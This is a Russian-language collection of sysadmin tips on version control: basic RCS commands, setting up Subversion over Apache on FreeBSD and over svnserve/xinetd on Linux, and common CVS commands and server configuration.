     
    Система управления версиями RCS пригодилась для сохранения резервных копий 
    файлов конфигурации и нескольких Perl модулей, активная разработка которых уже завершена, 
    но мелкие исправления и переделки еще бывают.
    
    Итак, для работы с RCS используются следующие команды - 
       ci (импорт файлов в репозиторий), 
       co (экспорт), 
       rcs (манипулирование флагами файлов и проч.), 
       rcsdiff, 
       rlog. 
    
    Пусть file - файл, который требуется передать в управление RCS.
       ls -la > file
    
    Первым делом нужно создать каталог для репозитория
       mkdir RCS
    
    Затем импортировать файл. В общем случае это делается так:
       ci file
    
    Исходный файл _перемещается_ в репозиторий (если он там уже есть, то под новой версией).
    
    Извлечь файл из репозитория можно командой:
       co file 
    (файл будет иметь права доступа 444)
    
    Чтобы изменить файл, нужно установить его блокировку и установить права доступа, разрешающие запись
       rcs -l file
       chmod o+w file
    
    Чтобы записать изменения нужно снова выполнить
       ci file
    
    
    Итак, это все, что нужно для того чтобы начать работать.
    Теперь пара команд, для того, чтобы работать было удобно :)
    
       co -l file - синоним co file; rcs -l file; chmod 644 file - извлечь, заблокировать файл, разрешить запись.
       ci -u file - синоним ci file; co file - сохранить файл и извлечь рабочую копию
       ci -l file - синоним ci file; co -l file - сохранить файл, сделать co -l
    
    В случае, если с файлом работает один пользователь, то в блокировках нет
    никакого смысла, и от них можно отказаться:
    
       ci -l file (первоначальный импорт)
       rcs -U file (установка перманентной блокировки)
       vi file 
       ci -l file (файл сохранится в RCS и будет готов к дальнейшей работе)
    
    Далее, самые распространненые задачи:
    
    Извлечь файл из репозитория
       co file
       co -l file (синоним co file, rsc -l file -- извлечение и блокировка)
       co -r1.2 file (извлечение определенной версии файла)
    
    Посмотреть различия между текущей (=рабочей) версией и последней, сохраненной в RCS
       rcsdiff file
    
    Посмотреть различия между произвольными двумя версиями
       rcsdiff -r1.1 -r1.2 file
    
    Посмотреть логи редактирования файла
       rlog file
    
    Дальнейшее чтение: rcsintro(1), rcs(1), co(1), ci(1).
    
     
    ----* Быстрая установка Subversion на FreeBSD (доп. ссылка 1)   Автор: Alex Ryabov  [комментарии]
     

    Процедура установки довольно проста, но, как часто бывает, предварительное прочтение инструкции экономит вам кучу времени. Здесь я рассматриваю простейший случай: репозиторий доступен только по HTTP/HTTPS (настройку SSL приводить не буду), разработчиков немного, поэтому персональных разрешений на директории мы не выставляем.

    Сначала нужно установить Apache (я использую версию 2.2):

    cd /usr/ports/www/apache22
    make WITH_BERKELEYDB=db42 install

    либо, если он у вас уже установлен, пересобрать его с поддержкой Berkeley DB:

    portupgrade -f -m "WITH_BERKELEYDB=db42" www/apache22

    Далее собираем и ставим SVN (тут, если ваш Apache собран без BDB, сборка прервется сообщением об ошибке):

    cd /usr/ports/devel/subversion
    make WITH_MOD_DAV_SVN= install

    Всё необходимое установлено. Теперь нужно создать репозиторий и проект в нем:

    mkdir /usr/local/www/repo
    svnadmin create /usr/local/www/repo/project
    chown -R www:www /usr/local/www/repo

    Файл с паролями пользователей:

    htpasswd -c /usr/local/etc/svn.passwd user password

    Внести настройки модуля dav_svn в конфиг Apache и рестартовать веб-сервер:

    edit /usr/local/etc/apache22/httpd.conf
      <Location /svn>
          DAV svn
          SVNParentPath /usr/local/www/repo
          AuthType Basic
          AuthName "Subversion repository"
          AuthUserFile /usr/local/etc/svn.passwd
          Require valid-user
      </Location>
    apachectl restart

    Чтобы проверить, как работает наш репозиторий, можно поставить графический клиент (например, TortoiseSVN) или выполнить от имени пользователя user команду:

    svn co http://server.net/svn/project/ project

    Что читать дальше? По настройке и улучшению безопасности сервера: Setting up a Secure Subversion Server и Accessing Secure Subversion Servers (две статьи от Дрю Лавинь, рассматривается настройка без веб-сервера с доступом по SSH и более сложные случаи раздачи прав пользователей), Using Subversion for Collaborative Development.

    По использованию: Управление версиями в Subversion.

     
    ----* Пример настройки subversion под Linux (доп. ссылка 1)   Автор: madskull  [комментарии]
     
    Сервер:
    
       > svnadmin create /path/to/repos  # создание репозитория
    
       > cat /path/to/repos/conf/svnserve.conf
          [general]
          anon-access = none
          auth-access = write
          password-db = passwd
          realm = My First Repository
    
       > cat /path/to/repos/conf/passwd
          [users]
          user = PaSsW0Rd
    
       > cat /etc/xinetd.d/svn
          service svn
          {
          flags           = REUSE
          socket_type     = stream
          wait            = no
          user            = root
          server          = /usr/bin/svnserve
          server_args     = -i -r /path/to/repos
          log_on_failure  += USERID
          disable         = no
          }
    
       > /etc/rc.d/xinetd start
    
    
    Клиент:
    
       # создаем временный каталог с проектом
       > mv /path/to/project /tmp
    
       # импортируем его в svn
       > svn import /tmp/project svn://SERVER/project
    
       # восстанавливаем проект для работы
       > cd /path/to
       > svn checkout svn://SERVER/project
    
       # запись изменений на сервер
       > cd /path/to
       > svn commit -m "что-то тут я изменил"
    
       # получить последнюю версию с сервера
       > cd /path/to
       > svn update
    
    В документации сказано, что надо в /path/to/project создать каталоги 
    branches tags trunk и файлы проекта поместить в trunk. 
    Однако, у меня работает и так.
    
     
    ----* Как можно узнать какие branch имеются в удаленном CVS репозитории (доп. ссылка 1)   Автор: butcher  [обсудить]
     
    На сколько я знаю, нет способа 100%. Можно попробовать так, пример для gnumric'а:
    
    Сначала нужно скачать один из файлов дистрибутива:
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome login
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome co gnumeric/ChangeLog
         cvs -d:pserver:anonymous@anoncvs.gnome.org:/cvs/gnome status -v gnumeric/ChangeLog
    
     
    ----* Подсказка по CVS командам   [обсудить]
     
    Добавление нового файла/директории
           cvs add filename
    Удаление файла из репозитория
           cvs remove filename
    Обновление версии файла в репозитории
           cvs commit filename
    Обновление рабочей ветки из репозитория
           cvs update
    Создание рабочей ветки из репозитория
           cvs checkout module_name
    Создание репозитория
           cvs -d /home/cvsroot init
    Импорт модулей в репозиторий
           cvs -d /home/cvsroot import example example_project ver_0-1
    Использование тэгов
           cvs tag release-1-0, cvs checkout -r tagname
    Ветвление
           cvs tag -b branchtag
    Блокировка файлов 
           cvs watch add|remove -a edit|unedit|commit|all files
    Настройка доступа к CVS репозиторию по сети 
           cvs -d :ext:cvs.example.com.au:/usr/local/cvsroot checkout sample
    
     
    ----* Как экспортировать релиз из CVS дерева.   [обсудить]
     
      cvs rtag release1_2 module_name
      cvs export -r release1_2 module_name
    Для формирования патча использовать: diff -u --recursive --new-file (diff -urN)
    
     
    ----* Как запустить CVS сервер.   [обсудить]
     
    В /etc/inetd.conf
    2401  stream  tcp  nowait  cvs_user  /usr/sbin/tcpd /usr/bin/cvs -f
    --allow-root=/usr/local/cvsroot pserver
    При этом список пользователей хранится в файле:
       /usr/local/cvsroot/CVSROOT/passwd (формат: user:crypted_passwd)
    Настройки:
       /usr/local/cvsroot/CVSROOT/config
          PreservePermissions=n
          SystemAuth=no
    
     
    ----* Как скачать дерево исходников с удаленного CVS сервера   [обсудить]
     
    export CVSROOT=:pserver:anonymous@remote_cvs_server_host:/usr/local/cvsroot
    cvs login
    cvs checkout
    cvs logout
    
     

     Версия для печати





    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру